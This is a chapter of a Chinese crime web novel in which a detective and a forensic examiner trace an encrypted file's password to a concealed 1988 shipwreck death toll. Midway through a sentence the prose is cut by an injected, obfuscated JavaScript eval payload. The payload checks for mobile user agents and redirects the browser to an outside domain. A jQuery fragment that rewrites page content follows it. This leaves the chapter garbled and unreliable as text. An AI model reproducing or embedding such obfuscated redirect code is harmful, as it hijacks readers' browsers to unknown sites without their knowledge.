第91章 服务器残影·密码线索

作品:《我在都市逆天破案

    陈骁的指尖还抵在钢笔尾端,笔尖悬在监控屏上方,没有落下。屏幕上的波形图已经停止跳动,信号轨迹最终定格在市政数据中心的坐标点。他没有移开视线,另一只手从背包里取出那台主机,外壳还带着余温,接口处有明显的烧灼痕迹。


    他拆开警用终端的侧盖,将主机的数据线接了进去。系统轻微震动了一下,【线索关联】功能自动启动,几条灰线在文档缩略图之间连接,最终指向一个加密文件——创建时间显示为三年前七月十九日晚上八点零七分。


    这个时间他记得很清楚。


    正是市政厅招标会闭幕式结束的时刻。


    他把加密文档拖入内网解析程序,手动剥离元数据。系统的【证言识谎】功能突然激活,一行小字浮现在他的意识中:【创建时间与公开会议记录完全同步,但地理标签位于环保集团内网第七分区】。


    文件是在数据中心生成的,却伪装成在市政会议现场创建。


    他调出当年的会议录像,把进度条拖到晚上八点零五分。画面中,周慕云站在讲台后做总结发言。镜头扫过台下,短暂捕捉到他放在桌边的笔记本电脑。屏幕反光中,一个弹窗界面一闪而过——正是这个加密文档的编辑窗口。


    陈骁刚要截图锁定,显示器突然黑屏。


    三秒后,画面恢复,但不再是监控系统界面。摄像头视角切换到了外部信号源,屏幕上出现了周慕云的脸。他穿着深灰色西装,背景像是某个办公室,灯光偏冷。声音经过处理,低哑而平稳:“陈队长,你总是走得太远。”


    陈骁没有动,手指按在终端重启键上。


    “我知道你在查什么。”对方继续说,“也知道你手里的东西从哪来。但有些门,推开一次就够了。再推,门后的东西会咬人。”


    屏幕角落跳出一行字:【信号来源无法追踪,已加密跳转】。


    “你想要密码?”周慕云嘴角微抬,“它不在文件里,也不在系统里。密码是沉船案遇难人数。”


    画面瞬间中断,监控屏恢复原状。加密文档自动锁定,解析进度归零。


    陈骁拔掉数据线,把主机推到桌角。他抽出一张便签纸,写下“沉船案”三个字,又在下面画了一条横线。还没写完,办公室门被推开了。


    沈昭走了进来,手里抱着一叠纸质档案,封面印着“法医中心内部留存·非公开卷宗”。她把档案放在桌上,翻开最上面一本,页码已经泛黄。


    “我调了1988年江渡口沉船事故的尸检汇总。”她说,“官方记录是四十七人遇难。”


    陈骁抬头,“但你查到的不是这个数。”


    “五十九具尸体。”她指着登记表最后一栏,“其中有十二具标注为‘河道打捞,身份不明’,没有姓名,没有家属认领记录,死亡时间集中在事故后七十二小时内。”


    “打捞工人?”他问。


    “不像。”沈昭摇头,“尸检报告显示,他们体内有高浓度镇静剂残留,肺部进水特征与落水时间不符。更像是……被人放进水里的。”


    陈骁沉默了几秒,打开师父遗留的工作日志扫描件。他在搜索栏输入“沉船”,页面跳转到一页边缘有手写批注的记录。那行字很小,写在页脚空白处:“报告被压,不能报。”


    他放大图像,发现批注日期是事故后第五天。


    “有人在掩盖人数。”他说。


    沈昭点头,“我比对了当年的救援日志副本,打捞队一共上报过六十一具遗体,但最后归档只有四十七个名字。剩下的十四人里,有两个是登记重复,还有一个是误录身份。真正消失的,就是这十二个。”


    陈骁把便签纸翻过来,写下“1988+12”。


    “五十九。”他低声说,“周慕云说的遇难人数,是五十九。”


    沈昭看着他,“他在引导你。”


    “不是引导。”陈骁摇头,“是在确认。他知道我会查,所以提前设好了验证路径。这个数字,是钥匙。”


    他打开警局档案系统,输入事故编号,调出官方报告。遇难者名单整齐排列,末尾写着“总计47人”。他点击“版本记录”,发现文档在事故后第十天有过一次修改,操作账号属于市政应急办高级权限。


    他记下账号编号,转头问:“林晚秋那边有回应吗?”


    “有。”沈昭从平板上调出一条加密消息,“她接入了档案馆备份系统,找到了原始录入版的扫描件。你看。”


    屏幕上出现一份手写报告的照片,页眉写着“江渡口事故初步统计”,落款日期是事故当晚。遇难者名单下方,用红笔圈出一行补充记录:“新增无名遗体12具,暂存市殡仪馆三号冷库。”


    笔迹与后续正式报告完全不同。


    “原始数据被替换了。”陈骁说。


    沈昭合上档案,“这十二个人,从没出现在任何公开记录里。他们的死亡,就像没发生过。”


    办公室陷入短暂的安静。窗外天色灰暗,楼道里的灯忽明忽暗,像是电压不稳。


    陈骁盯着便签纸上的“1988+12”,突然想起什么。他重新连接主机,从加密文档的残留缓存中提取出一段未完成的命名规则。文件原名应该是“ZMY-9_access_key_v3”,但在“key”前面,有一串被删除的字符。


    他尝试还原。


    系统提示:【检测


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289431|181008||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到隐藏字符序列:198812】。


    六位数字。


    他心头一紧。


    这不是密码的提示,是密码本身的一部分。


    他调出ZMY-9号房的电子门锁资料——三级权限验证,支持四位或六位数字密码。常见格式为年份加人数、项目编号加序列等。


    “1988年事故,加上十二具无名尸。”他低声说,“59是简化版,198812是完整格式。”


    沈昭看着他,“你会用哪个?”


    “他希望我用59。”陈骁手指轻敲桌面,“但系统不会只设一道门。真密码,可能更隐蔽。”


    他打开师父日志的另一段扫描页,翻到事故后续处理记录。其中一行引起他的注意:“Z区冷库临时编号调整,原#8改为#9,旧标签未清除。”


    #8变成了#9。


    而ZMY-9,正是他们昨夜找到女孩的隔离病房。


    他忽然意识到什么。


    “沉船案是1988年。”他说,“#8实验体最早记录是1998年。十年差。”


    沈昭皱眉,“你是说,这两件事有关联?”


    “不是时间有关联。”陈骁盯着屏幕,“是命名逻辑。他们都用‘事件+人数’的方式隐藏真实信息。周慕云不是随口说遇难人数,他在提示一种编码习惯。”


    他拿起笔,在便签纸上重新写:


    1988+12=198812


    1998+?=?


    “如果#8实验体对应的是某种伤亡人数……”


    话没说完,终端突然震动。系统弹出提示:【检测到加密回传信号重启,来源仍指向市政数据中心】。


    陈骁立刻拔掉主机,关闭无线模块。他把便签纸折好塞进衣袋,抬头看向沈昭。


    “这个数字,不能随便试。”


    “我知道。”她低声说,“一旦输入错误,可能会触发清除程序。”


    “或者更糟。”


    他站起身,走到窗边。楼下警车陆续进出,没人注意到三楼办公室里的静默对峙。


    沈昭翻开法医档案最后一页,指着一个不起眼的备注栏:“当年负责打捞的工人名单里,有两个人姓周。”


    陈骁转过头。


    “兄弟。”她补充,“都在失踪的十二人之中。”


    他重新坐下来,打开主机缓存的另一段日志碎片。那是从ZMY-9房间监控备份中恢复的数据,时间戳停在昨夜他们离开后十分钟。


    画面模糊,只能看出有人进入房间,操作了床头控制面板。


    他逐帧播放,终于在一次屏幕反光中,捕捉到一串数字输入过程。


    前三位是:198。


    手指停在回车键上,尚未按下。